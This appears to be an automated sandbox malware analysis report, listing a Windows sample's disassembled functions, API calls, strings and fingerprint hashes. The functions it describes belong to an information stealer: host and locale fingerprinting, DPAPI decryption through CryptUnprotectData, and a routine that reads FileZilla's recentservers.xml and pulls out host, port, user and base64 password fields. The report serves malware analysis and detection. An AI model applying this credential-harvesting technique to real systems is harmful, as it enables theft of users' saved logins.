StrCmpCA.SHLWAPI(?,004214A0), ref: 0040E348
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EA1F

Strings

\*.*, xrefs: 0040E28D
.@, xrefs: 0040EA35, 0040E42B, 0040E55C, 0040E69B, 0040E2F9, 0040E42E, 0040E55F, 0040E69E

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: .@$\*.*
API String ID: 433455689-1178718010
Opcode ID: 5d76c2d98abd828b5e70da18f67dc4ad158c33d42c315d37af3e17e313de1203
Instruction ID: 20f818950e8166c8af1a449285f1ab07a785d4baccce5c5ed3abadeee2d63442
Opcode Fuzzy Hash: 5d76c2d98abd828b5e70da18f67dc4ad158c33d42c315d37af3e17e313de1203
Instruction Fuzzy Hash: BE125331911118ABCB14FB61DC5AEED7338AF54314F4045AEB90B62091EF786FD8CB9A

Function 00417630 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
LocalAlloc.KERNEL32(00000040,?), ref: 00417699
GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
LocalFree.KERNEL32(00000000), ref: 004177C2

Strings

/ , xrefs: 0041771F

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: e42416d445b4febc3b46b784c9d89a561bda18c407d2ad9f9d6445274e4162f6
Instruction ID: c1db32f68e501b8527b0747275b78d72b64e7f1ab46943026d097e8974929a8d
Opcode Fuzzy Hash: e42416d445b4febc3b46b784c9d89a561bda18c407d2ad9f9d6445274e4162f6
Instruction Fuzzy Hash: 49418F71941118ABCB24DF94DC89FEEB374FB54314F2041DAE40A62191DB782F85CFA5

Function 004190A0 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004190BE
Process32First.KERNEL32(00420AB3,00000128), ref: 004190D2
Process32Next.KERNEL32(00420AB3,00000128), ref: 004190E7
StrCmpCA.SHLWAPI(?,00000000), ref: 004190FC
CloseHandle.KERNEL32(00420AB3), ref: 0041911A

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 53cc5b1a25e9de08871f2f161f83c20120fe0a383d746f94447c3d4f9de0246b
Instruction ID: 54ad55f7a4b81502d496241441e07260b80a378e6eebdd4a9cd1ea64267145a6
Opcode Fuzzy Hash: 53cc5b1a25e9de08871f2f161f83c20120fe0a383d746f94447c3d4f9de0246b
Instruction Fuzzy Hash: 1E010875A00208FBDB20DFA4CD99BEEBBF9AF08700F104199E909A7250DB749E85DF55

Function 00409BB0 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
memcpy.MSVCRT ref: 00409C16
LocalFree.KERNEL32(?), ref: 00409C23

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction ID: 89a0ba0d6d0461e137ce63e6e87bc55d2f461512d11096c1476870e855060961
Opcode Fuzzy Hash: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction Fuzzy Hash: 7111E8B8A00209DFCB04DF94D984AAEB7B6FF88300F108569E915A7390D730AE51CF65

Function 004174D0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,024A9308,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,024A9308,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,024A9308,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D
wsprintfA.USER32 ref: 00417557

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction ID: e353cc71a305f1a8f1a8746e49c408d3a80ec80c51124973b3d8e1cf6413b4f4
Opcode Fuzzy Hash: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction Fuzzy Hash: 4111E1B1E05618EBEB20CF54DC45FA9B779FB00720F10039AF50A932D0C7785A85CB55

Function 004172F0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction ID: d97db1a59c4db881a004fd13fa95f43a4b4e799dc382b7b3ddd968380e0460c3
Opcode Fuzzy Hash: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction Fuzzy Hash: B6F04FB1944648AFC710DF98DD45BAEBBB9FB08B21F10021AFA15A3690C7745545CBA1

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction ID: 6710e554edad90447a57410479f56be173a40300ace114c8cd68aa34356edfab
Opcode Fuzzy Hash: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction Fuzzy Hash: 17D05E74D0020CDBCB14DFE09A49ADDBB7AAB0D321F001656ED0572240DA305446CA65

Function 00407750 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,00415CA4,?), ref: 00407764
RtlAllocateHeap.NTDLL(00000000,?,00415CA4,?), ref: 0040776B
lstrcat.KERNEL32(?,024800F0), ref: 0040791B
lstrcat.KERNEL32(?,?), ref: 0040792F
lstrcat.KERNEL32(?,?), ref: 00407943
lstrcat.KERNEL32(?,?), ref: 00407957
lstrcat.KERNEL32(?,024A9458), ref: 0040796B
lstrcat.KERNEL32(?,024A9470), ref: 0040797F
lstrcat.KERNEL32(?,024A9500), ref: 00407992
lstrcat.KERNEL32(?,024A9518), ref: 004079A6
lstrcat.KERNEL32(?,024802E0), ref: 004079BA
lstrcat.KERNEL32(?,?), ref: 004079CE
lstrcat.KERNEL32(?,?), ref: 004079E2
lstrcat.KERNEL32(?,?), ref: 004079F6
lstrcat.KERNEL32(?,024A9458), ref: 00407A09
lstrcat.KERNEL32(?,024A9470), ref: 00407A1D
lstrcat.KERNEL32(?,024A9500), ref: 00407A31
lstrcat.KERNEL32(?,024A9518), ref: 00407A44
lstrcat.KERNEL32(?,02481DD8), ref: 00407A58
lstrcat.KERNEL32(?,?), ref: 00407A6C
lstrcat.KERNEL32(?,?), ref: 00407A80
lstrcat.KERNEL32(?,?), ref: 00407A94
lstrcat.KERNEL32(?,024A9458), ref: 00407AA8
lstrcat.KERNEL32(?,024A9470), ref: 00407ABB
lstrcat.KERNEL32(?,024A9500), ref: 00407ACF
lstrcat.KERNEL32(?,024A9518), ref: 00407AE3
lstrcat.KERNEL32(?,024A6C80), ref: 00407AF6
lstrcat.KERNEL32(?,?), ref: 00407B0A
lstrcat.KERNEL32(?,?), ref: 00407B1E
lstrcat.KERNEL32(?,?), ref: 00407B32
lstrcat.KERNEL32(?,024A9458), ref: 00407B46
lstrcat.KERNEL32(?,024A9470), ref: 00407B5A
lstrcat.KERNEL32(?,024A9500), ref: 00407B6D
lstrcat.KERNEL32(?,024A9518), ref: 00407B81
lstrcat.KERNEL32(?,024A6CE8), ref: 00407B95
lstrcat.KERNEL32(?,?), ref: 00407BA9
lstrcat.KERNEL32(?,?), ref: 00407BBD
lstrcat.KERNEL32(?,?), ref: 00407BD1
lstrcat.KERNEL32(?,024A9458), ref: 00407BE4
lstrcat.KERNEL32(?,024A9470), ref: 00407BF8
lstrcat.KERNEL32(?,024A9500), ref: 00407C0C
lstrcat.KERNEL32(?,024A9518), ref: 00407C1F
lstrcat.KERNEL32(?,024A6D50), ref: 00407C33
lstrcat.KERNEL32(?,?), ref: 00407C47
lstrcat.KERNEL32(?,?), ref: 00407C5B
lstrcat.KERNEL32(?,?), ref: 00407C6F
lstrcat.KERNEL32(?,024A9458), ref: 00407C83
lstrcat.KERNEL32(?,024A9470), ref: 00407C96
lstrcat.KERNEL32(?,024A9500), ref: 00407CAA
lstrcat.KERNEL32(?,024A9518), ref: 00407CBE

Part of subcall function 00407610: lstrcat.KERNEL32(3540E020,004217A0), ref: 00407646
Part of subcall function 00407610: lstrcat.KERNEL32(3540E020,00000000), ref: 00407688
Part of subcall function 00407610: lstrcat.KERNEL32(3540E020, : ), ref: 0040769A
Part of subcall function 00407610: lstrcat.KERNEL32(3540E020,00000000), ref: 004076CF
Part of subcall function 00407610: lstrcat.KERNEL32(3540E020,004217A8), ref: 004076E0
Part of subcall function 00407610: lstrcat.KERNEL32(3540E020,00000000), ref: 00407713
Part of subcall function 00407610: lstrcat.KERNEL32(3540E020,004217AC), ref: 0040772D
Part of subcall function 00407610: task.LIBCPMTD ref: 0040773B

lstrcat.KERNEL32(?,0248BC88), ref: 00407E4B
lstrcat.KERNEL32(?,024A99D0), ref: 00407E5E
lstrlenA.KERNEL32(3540E020), ref: 00407E6B
lstrlenA.KERNEL32(3540E020), ref: 00407E7B

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: d3d83db10b404d8849f7ab4c6503118f6684e85626c10c217fa2a917e04cb255
Instruction ID: 1e9b08135f7dcdfaa8f2c2dd520ea7fbbb4c73797e410f6fed26cf7179196423
Opcode Fuzzy Hash: d3d83db10b404d8849f7ab4c6503118f6684e85626c10c217fa2a917e04cb255
Instruction Fuzzy Hash: 8B3264B2C00615ABCB25EBA0DC89DDE773DAB48704F444A9DF60962090EE79E7C5CF64

Function 00410090 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

strtok_s.MSVCRT ref: 0041015B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DA6,00420DA3,00420DA2,00420D9F), ref: 004101A2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004101A9
StrStrA.SHLWAPI(00000000,<Host>), ref: 004101C5
lstrlenA.KERNEL32(00000000), ref: 004101D3

Part of subcall function 00418380: malloc.MSVCRT ref: 00418388
Part of subcall function 00418380: strncpy.MSVCRT ref: 004183A3

StrStrA.SHLWAPI(00000000,<Port>), ref: 0041020F
lstrlenA.KERNEL32(00000000), ref: 0041021D
StrStrA.SHLWAPI(00000000,<User>), ref: 00410259
lstrlenA.KERNEL32(00000000), ref: 00410267
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 004102A3
lstrlenA.KERNEL32(00000000), ref: 004102B5
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 00410342
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041035A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410372
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041038A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 004103A2
lstrcat.KERNEL32(?,profile: null), ref: 004103B1
lstrcat.KERNEL32(?,url: ), ref: 004103C0
lstrcat.KERNEL32(?,00000000), ref: 004103D3
lstrcat.KERNEL32(?,0042161C), ref: 004103E2
lstrcat.KERNEL32(?,00000000), ref: 004103F5
lstrcat.KERNEL32(?,00421620), ref: 00410404
lstrcat.KERNEL32(?,login: ), ref: 00410413
lstrcat.KERNEL32(?,00000000), ref: 00410426
lstrcat.KERNEL32(?,0042162C), ref: 00410435
lstrcat.KERNEL32(?,password: ), ref: 00410444
lstrcat.KERNEL32(?,00000000), ref: 00410457
lstrcat.KERNEL32(?,0042163C), ref: 00410466
lstrcat.KERNEL32(?,00421640), ref: 00410475
strtok_s.MSVCRT ref: 004104B9
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004104CE
memset.MSVCRT ref: 0041051D

Strings

profile: null, xrefs: 004103A8
password: , xrefs: 0041043B
browser: FileZilla, xrefs: 00410399
url: , xrefs: 004103B7
login: , xrefs: 0041040A
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004100E4
<Host>, xrefs: 004101BC
<Port>, xrefs: 00410206
<User>, xrefs: 00410250
<Pass encoding="base64">, xrefs: 0041029A

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$ChangeCloseCreateFindFolderFreeNotificationPathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1266801029-555421843
Opcode ID: 361b72b2455e7d4f4d3676c281e3341896d2067e157358f820b36d182e0c7695
Instruction ID: f2c119995f801d95b771d97b8d40ebd85ad32e2919b54f786426441ea9706e1a
